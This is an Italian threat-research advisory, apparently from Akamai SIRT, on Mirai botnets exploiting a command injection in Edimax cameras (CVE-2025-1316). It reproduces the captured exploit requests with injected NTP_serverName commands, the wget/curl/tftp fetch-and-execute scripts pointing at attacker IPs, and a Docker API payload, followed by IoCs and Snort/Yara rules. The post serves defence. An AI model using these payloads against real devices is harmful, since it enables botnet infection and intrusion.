Una visibilità negativa: le telecamere di rete Edimax utilizzate per diffondere la botnet Mirai
Editoriale e commenti aggiuntivi di Tricia Howard
Analisi riassuntiva
L'Akamai Security Intelligence and Response Team (SIRT) ha identificato una nuova vulnerabilità CMDi (Command injection), che tenta di sfruttare i dispositivi IoT (Internet of Things) di Edimax, a cui è stato assegnato il codice CVE-2025-1316.
Il SIRT ha inizialmente identificato un'attività dannosa nei suoi honeypot ad ottobre 2024, tuttavia, in seguito ad ulteriori ricerche, ha individuato una PoC (Proof of Concept) risalente a giugno 2023.
Sono state identificate diverse botnet che sfruttavano questa vulnerabilità, tra cui alcune varianti della botnet Mirai.
Le botnet non sfruttano solo questa CVE, ma anche altre vulnerabilità note, come, ad esempio, è stato osservato un loro tentativo di sfruttamento delle API in Docker.
In questo blog, abbiamo incluso un elenco di indicatori di compromissione (IoC) per aiutarvi a difendervi da questa minaccia.
Rilevamento
Agli inizi di ottobre 2024, l'Akamai SIRT ha individuato un'attività dannosa che ha preso di mira l'URI /camera-cgi/admin/param.cgi nella sua rete globale di honeypot. In seguito ad ulteriori indagini, siamo riusciti ad attribuire questa attività ad alcuni tentativi di sfruttare i dispositivi IoT di Edimax. Dopo aver analizzato il firmware, abbiamo potuto stabilire che questa attività tentava di sfruttare una vulnerabilità CMDi (Command injection) presente nei dispositivi IoT (Internet of Things) di Edimax, a cui è stato assegnato il codice CVE-2025-1316.
La prima attività che ha preso di mira questa vulnerabilità è stata individuata nei nostri honeypot a maggio 2024. Tuttavia, siamo riusciti ad identificare un tentativo di sfruttamento di una PoC risalente a giugno 2023. Considerando il lungo periodo di esposizione, non sorprende come siamo riusciti ad osservare due diverse botnet nel loro tentativo di sfruttare questa vulnerabilità nei nostri honeypot. Anche se nessuna delle due botnet presentava campioni di malware degni di nota, persino le botnet che utilizzano una semplice variante di base del malware Mirai rimangono una minaccia per le organizzazioni.
La vulnerabilità
Il tentativo di sfruttamento della vulnerabilità prende di mira l'endpoint /camera-cgi/admin/param.cgi presente nei dispositivi di Edimax, inserendo i comandi desiderati nell'opzione NTP_serverName come parte dell'impostazione ipcamSource del file param.cgi. Questo tentativo di sfruttamento richiede un'autenticazione e, in tutti i tentativi di sfruttamento che abbiamo osservato, sono state inserite le credenziali predefinite, di solito admin:1234, ossia le credenziali predefinite dei dispositivi di Edimax.
Dopo aver eseguito qualche ricerca nelle stringhe e nel payload delle richieste effettuate, siamo riusciti ad attribuire la vulnerabilità ai dispositivi IoT di Edimax. Anche se la divulgazione della CVE parla della telecamera di rete IC-7100 di Edimax, la vulnerabilità di dispositivi e firmware non riguarda solo questo modello, ma potrebbe interessare anche altri dispositivi.
Sfruttamento attivo
Il primo tentativo di sfruttamento che ha preso di mira questo URI è stato osservato dall'Akamai SIRT a maggio 2024. Le richieste sono scomparse per un certo periodo di tempo per poi tornare sotto forma di picchi di domanda a settembre 2024 e a gennaio-febbraio 2025. I tentativi di sfruttamento sembrano provenire da diverse botnet, il che non sorprende considerando che la PoC è disponibile da giugno 2023.
Una volta decodificato il payload (acquisito a febbraio 2025), abbiamo riscontrato che la botnet inserisce comandi nell'opzione NTP_serverName per scaricare ed eseguire lo script della shell curl.sh nella directory tmp .
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://193.143.1[.]118/curl.sh; chmod 777 curl.sh; sh curl.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
Proprio come nel tipico comportamento della botnet Mirai, lo script della shell esegue vari comandi per scaricare ed eseguire il payload principale del malware Mirai su diverse architetture, come, ad esempio, curl.sh e x64.
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/x86; curl -O http://193.143.1[.]118/x86; cat x86 > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mips; curl -O http://193.143.1[.]118/mips; cat mips > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/mpsl; curl -O http://193.143.1[.]118/mpsl; cat mpsl > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt ",
"cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://193.143.1[.]118/arm; curl -O http://193.143.1[.]118/arm; cat arm > OSGt; chmod +x *; ./OSGt joined; rm -rf OSGt "
Dopo l'esecuzione su un computer infettato, il malware stampa la stringa VagneRHere sulla console (Figura 1).
Il dominio principale sembra avere un'impostazione completa del sito web NSFW ed è stato rilasciato per la prima volta alla fine del 2024. Il malware invia i beacon al dominio angela.spklove[.]com per stabilire una comunicazione C2 (Command and Control) tramite la porta 3093 con alcune sandbox che la segnalano come la variante del malware "Unstable Mirai".
Si tratta dell'unico sottodominio che abbiamo identificato per questo dominio e l'unica parte che riguarda una comunicazione C2. Il sito web si collega anche ad un server Discord sulla propria home page, che dispone di circa 60 membri. I contenuti del server Discord sembrano allinearsi a quelli del sito web e sono scritti in coreano.
Abbiamo osservato questa botnet anche nel suo tentativo di sfruttare la CVE-2024-7214, che riguarda i dispositivi IoT di TOTOLINK.
Più di una botnet
Abbiamo osservato anche una botnet separata nel suo tentativo di sfruttare questa vulnerabilità di Edimax almeno da maggio 2024. Le funzioni di attacco che abbiamo identificato sono rientrati negli standard dei campioni di malware Mirai, con un'unica eccezione degna di nota: il malware sembra disporre di una funzionalità di anti-debugging incorporata in funzioni, come sym.antidebug e sym.debugger_ .
/camera-cgi/admin/param.cgi action=update&ipcamSource=/ntp.asp?r=20130724&NTP_enable=1&NTP_serverName=;$(cd /tmp; wget http://170.39.193.232/wget.sh; chmod 777 wget.sh; sh wget.sh)&NTP_tzCityNo=16&NTP_tzMinute=0&NTP_daylightSaving=0
Analogamente alla botnet precedente, il tentativo di sfruttamento di questa botnet consiste nel download e nell'esecuzione dello script di una shell denominato wget.sh, che, a sua volta, scarica ed esegue il relativo payload principale del malware Mirai. In tal caso, il nome file dei campioni, di solito, presenta il prefisso ".S".
"cd /tmp ; rm -rf x86_64 ; /bin/busybox wget http://170.39.193[.]232/.Sx86_64 ; chmod 777 .Sx86_64 ; ./.Sx86_64 x86 ;",
"cd /tmp ; rm -rf mpsl ; /bin/busybox wget http://170.39.193[.]232/.Smpsl ; chmod 777 .Smpsl ; ./.Smpsl mpsl ;",
"cd /tmp ; rm -rf mips ; /bin/busybox wget http://170.39.193[.]232/.Smips ; chmod 777 .Smips ; ./.Smips mips ; ",
"cd /tmp ; rm -rf arm5 ; /bin/busybox wget http://170.39.193[.]232/.Sarm4 ; chmod 777 .Sarm4 ; ./.Sarm4 arm4 ;",
"cd /tmp ; rm -rf arm4 ; /bin/busybox wget http://170.39.193[.]232/.Sarm5 ; chmod 777 .Sarm5 ; ./.Sarm5 arm5 ;",
"cd /tmp ; rm -rf arm6 ; /bin/busybox wget http://170.39.193[.]232/.Sarm6 ; chmod 777 .Sarm6 ; ./.Sarm6 arm6 ;",
"cd /tmp ; rm -rf arm7 ; /bin/busybox wget http://170.39.193[.]232/.Sarm7 ; chmod 777 .Sarm7 ; ./.Sarm7 arm7 ; ",
"cd /tmp ; rm -rf m68k ; /bin/busybox wget http://170.39.193[.]232/.Sm68k ; chmod 777 .Sm68k ; ./.Sm68k m68 ;",
"cd /tmp ; rm -rf x86 ; /bin/busybox wget http://170.39.193[.]232/.Sx86 ; chmod 777 .Sx86 ; ./.Sx86 x64 ;",
"cd /tmp ; rm -rf spc ; /bin/busybox wget http://170.39.193[.]232/.Sspc ; chmod 777 .Sspc ; ./.Sspc spc ;"
Le funzioni di attacco mostrano le tecniche offensive comunemente usate dal malware Mirai, come gli attacchi UDP flood, TCP ACK e TCP SYN, che prendono di mira l'UDP OpenVPN e molti altri.
0x000083b8 7 140 sym.attack_kill_all
0x0000d1dc 31 1976 sym.attack_handshake
0x0000874c 1 1160 sym.attack_init
0x0000ab78 28 1708 sym.attack_tcp_syn
0x00009dc8 28 1716 sym.attack_tcpsack
0x0000ce7c 27 860 sym.attack_socket
0x000096e4 31 1760 sym.attack_tcppsh
0x00008d0c 31 1160 sym.attack_udp_custom
0x0000b228 27 1564 sym.attack_gre_ip
0x0000d998 12 428 sym.attack_udp_openvpn
0x0000829c 13 268 sym.attack_start
0x0000851c 26 560 sym.attack_parse
0x00008448 9 104 sym.attack_get_opt_int
0x00008240 8 92 sym.attack_get_opt_str
Il codice sorgente del malware è anche progettato per stampare la stringa "Hello, World!" su un computer host infettato. Nei primi campioni, il malware ha utilizzato la cartella /var/ftper, mentre nelle versioni più recenti ha utilizzato la cartella /var/Sofia (Figura 2).
Abbiamo anche osservato che questa botnet ha preso di mira molte altre vulnerabilità nella nostra rete di honeypot, tra cui un tentativo di sfruttamento dell'endpoint delle API in Docker, la CVE-2021-36220e una vulnerabilità Hadoop YARN.
/v1.24/containers/create {"Hostname":"","Domainname":"","User":"","AttachStdin":false,"AttachStdout":true,"AttachStderr":true,"Tty":false,"OpenStdin":false,"StdinOnce":false,"Env":null,"Cmd":["binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","chroot","/mnt/","/bin/sh","-c","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done","binaries=\"mips mpsl x86 arm7 arm sh4 arm6 arm5 ppc arc spc m68k i686\"; server_ip=\"194.120.230[.]54\"; for arch in $binaries; do rm -rf $arch; wget http://$server_ip/hiddenbin/boatnet.$arch || curl -O http://$server_ip/hiddenbin/boatnet.$arch || tftp $server_ip -c get hiddenbin/boatnet.$arch || tftp -g -r hiddenbin/boatnet.$arch $server_ip; chmod 777 boatnet.$arch; ./boatnet.$arch $arch-day; rm -rf boatnet.$arch; done"],"Image":"alpine","Volumes":{},"WorkingDir":"","Entrypoint":null,"OnBuild":null,"Labels":{},"HostConfig":{"Binds":["/:/mnt"],"ContainerIDFile":"","LogConfig":{"Type":"","Config":{}},"NetworkMode":"default","PortBindings":{},"RestartPolicy":{"Name":"no","MaximumRetryCount":0},"AutoRemove":false,"VolumeDriver":"","VolumesFrom":null,"ConsoleSize":[0,0],"CapAdd":null,"CapDrop":null,"CgroupnsMode":"","Dns":[],"DnsOptions":[],"DnsSearch":[],"ExtraHosts":null,"GroupAdd":null,"IpcMode":"","Cgroup":"","Links":null,"OomScoreAdj":0,"PidMode":"","Privileged":false,"PublishAllPorts":false,"ReadonlyRootfs":false,"SecurityOpt":null,"UTSMode":"","UsernsMode":"","ShmSize":0,"Isolation":"","CpuShares":0,"Memory":0,"NanoCpus":0,"CgroupParent":"","BlkioWeight":0,"BlkioWeightDevice":null,"BlkioDeviceReadBps":null,"BlkioDeviceWriteBps":null,"BlkioDeviceReadIOps":null,"BlkioDeviceWriteIOps":null,"CpuPeriod":0,"CpuQuota":0,"CpuRealtimePeriod":0,"CpuRealtimeRuntime":0,"CpusetCpus":"","CpusetMems":"","Devices":null,"DeviceCgroupRules":null,"DeviceRequests":null,"MemoryReservation":0,"MemorySwap":0,"MemorySwappiness":-1,"OomKillDisable":false,"PidsLimit":0,"Ulimits":null,"CpuCount":0,"CpuPercent":0,"IOMaximumIOps":0,"IOMaximumBandwidth":0,"MaskedPaths":null,"ReadonlyPaths":null},"NetworkingConfig":{"EndpointsConfig":{}}}
Conclusione
La variante legacy della botnet Mirai continua ad affliggere le organizzazioni di tutto il mondo visto che la propagazione delle botnet basate sul malware Mirai sembra non volersi fermare. Con tutti i tipi di codice sorgente e tutorial disponibili gratuitamente (e, ora con l'aiuto dell'AI) utilizzare una botnet è diventato più semplice che mai.
Uno dei modi più semplici per i criminali informatici per iniziare ad utilizzare una botnet è prendere di mira i firmware obsoleti e scarsamente protetti sui dispositivi meno recenti. Molti produttori di hardware non rendono disponibili le patch per i dispositivi ritirati dal commercio (in alcuni casi, è lo stesso produttore che potrebbe non essere più disponibile). Siamo stati informati che questo specifico modello di Edimax è stato ritirato dal commercio. Nei casi in cui le patch di sicurezza non sono disponibili né è probabile che lo saranno in futuro, si consiglia di aggiornare i dispositivi vulnerabili ad un modello più recente.
L'Akamai SIRT continuerà a monitorare e a segnalare minacce come queste per i clienti dell'azienda e per la più vasta comunità della sicurezza. Per tenervi aggiornati sulle ultime novità del SIRT e su altre pubblicazioni dell'Akamai Security Intelligence Group, potete consultare la nostra home page sulle ricerche e seguirci sui social media.
Indicatori di compromissione
Abbiamo incluso un elenco di indicatori di compromissione (IoC), nonché di regole Snort e Yara, per aiutare i team addetti alla sicurezza.
Regole Snort per gli IoC di rete
Regole Snort per gli IP C2 (botnet n. 1)
alert ip any any -> 193.143.1.118 any (msg:"Possible Botnet #1 Infrastructure Activity - Suspicious IP"; sid:1000001; rev:1; threshold:type limit, track by_src, count 1, seconds 600; classtype:trojan-activity; metadata:service http, malware;)
Regole Snort per il rilevamento della risoluzione dei domini C2 (botnet n. 1)
alert tcp any any -> any 80 (msg:"Possible Botnet #1 C2 or Malware Distribution - angela.spklove.com"; content:"angela.spklove.com"; http_header; nocase; sid:1000002; rev:1; classtype:trojan-activity; metadata:service http, malware;)
Regole Snort per gli IP C2 (botnet n. 2)
alert ip any any -> [194.120.230.54, 170.39.193.232, 49.12.210.140, 93.123.85.135, 147.45.199.16, 172.235.166.240, 172.232.38.103, 172.235.166.10, 172.232.38.224] any (
msg:"Possible Botnet #2 Infrastructure Activity - Suspicious IP";
sid:2000001;
rev:1;
threshold:type limit, track by_src, count 1, seconds 600;
classtype:trojan-activity;
metadata:service http, malware;
)
Regole Snort per il rilevamento della risoluzione dei domini C2 (botnet n. 2)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.merisprivate.net";
content:"cnc.merisprivate.net"; http_host; nocase;
sid:2000002; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - bot.merisprivate.net";
content:"bot.merisprivate.net"; http_host; nocase;
sid:2000003; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - cnc.ziparchive.xyz";
content:"cnc.ziparchive.xyz"; http_host; nocase;
sid:2000004; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
alert http any any -> any any (
msg:"Possible Botnet #2 C2 or Malware Distribution - virtuehub.one";
content:"virtuehub.one"; http_host; nocase;
sid:2000005; rev:1;
classtype:trojan-activity;
metadata:service http, malware;
)
Regole Yara per i campioni di malware
rule Botnet1_Indicators
{
meta:
description = "Detects Botnet #1 malware samples and network-based indicators"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IP & Domain)
$ip1 = "193.143.1.118"
$domain1 = "angela.spklove.com"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89",
hash.sha256(0, filesize) == "40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21",
hash.sha256(0, filesize) == "e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759",
hash.sha256(0, filesize) == "43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59",
hash.sha256(0, filesize) == "ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9",
// Network-based Indicator Matches
any of ($ip1, $domain1)
)
}
rule Botnet2_Indicators
{
meta:
description = "Detects Botnet #2 malware samples, network indicators, and unique string"
date = "2025-03-07"
severity = "high"
strings:
// Network Indicators (IPs & Domains)
$ip1 = "194.120.230.54"
$ip2 = "170.39.193.232"
$ip3 = "49.12.210.140"
$ip4 = "93.123.85.135"
$ip5 = "147.45.199.16"
$ip6 = "172.235.166.240"
$ip7 = "172.232.38.103"
$ip8 = "172.235.166.10"
$ip9 = "172.232.38.224"
$domain1 = "cnc.merisprivate.net"
$domain2 = "bot.merisprivate.net"
$domain3 = "cnc.ziparchive.xyz"
$domain4 = "virtuehub.one"
// Unique String Found in the Malware
$unique_string = "2surf2"
condition:
any of (
// SHA256 Hash Matches
hash.sha256(0, filesize) == "75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36",
hash.sha256(0, filesize) == "c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457",
hash.sha256(0, filesize) == "b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256",
hash.sha256(0, filesize) == "9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6",
hash.sha256(0, filesize) == "555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f",
hash.sha256(0, filesize) == "4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65",
hash.sha256(0, filesize) == "4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72",
hash.sha256(0, filesize) == "ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97",
// Network-based Indicator Matches
any of ($ip1, $ip2, $ip3, $ip4, $ip5, $ip6, $ip7, $ip8, $ip9,
$domain1, $domain2, $domain3, $domain4),
// Unique string match
$unique_string
)
}
Indirizzi IPv4 delle infrastrutture storiche (botnet n. 1)
193.143.1.118
Domini per gli endpoint di distribuzione di malware e C2 (botnet n. 1)
angela.spklove.com
Hash SHA256 (botnet n. 1)
9111ad2a4bc21a6c6a45507c59b7e35151b8c909f4bb1238cc2b1d750fc6fe89
40b87a40b2de80bc5a8cc40cd1667a3ded9b01211487a3aea8e11225994b0f21
e2ce2a05d4b70ea4dfacbc60477f2f1fac7b521b28650fe726d77d7999f57759
43896ed73bf5565dacacd3921af42b0d0f484f69695187c249ad40d86a3aec59
ee6f9b6e8f2c0b37b906914cd640b7bde1a903545035eb4861dba5f1ec0317a9
Indirizzi IP (botnet n. 2)
194.120.230.54
170.39.193.232
49.12.210.140
93.123.85.135
147.45.199.16
172.235.166.240
172.232.38.103
172.235.166.10
172.232.38.224
Domini (botnet n. 2)
cnc.merisprivate.net
bot.merisprivate.net
cnc.ziparchive.xyz
virtuehub.one
Hash SHA256 (botnet n. 2)
75ad7e1857d39eb1554c75d1f52aa4c14318896a7aebbc1d10e673aee4c2ca36
c792ce87ba1b0dc37cf3d2d2b4ad3433395ae93e0f1ae9c1140d097d093c1457
b8837d659bb88adc0348de027d33d9c17e6d1ee732b025928e477dc2802cb256
9f6bfe55961ae4b657dd1e7b3f488b49133cd2cd89d89d3f1052fc5d28287de6
555ca3b4a1e17f832d477f365a660775acc10d59a51d7cc194e6249b5c0ba58f
4244ef7ff56a2dab17f06c98131f61460ec9ca7eec6f7cb057d7e779c3079a65
4d577320b4875fcd7e7e65aece5bd4e3040772e4030a0d671570fcc9337fab72
ba8d7017545747bc1bc609277af26a0c8c1fa92541c0290dd9d8570d59faca97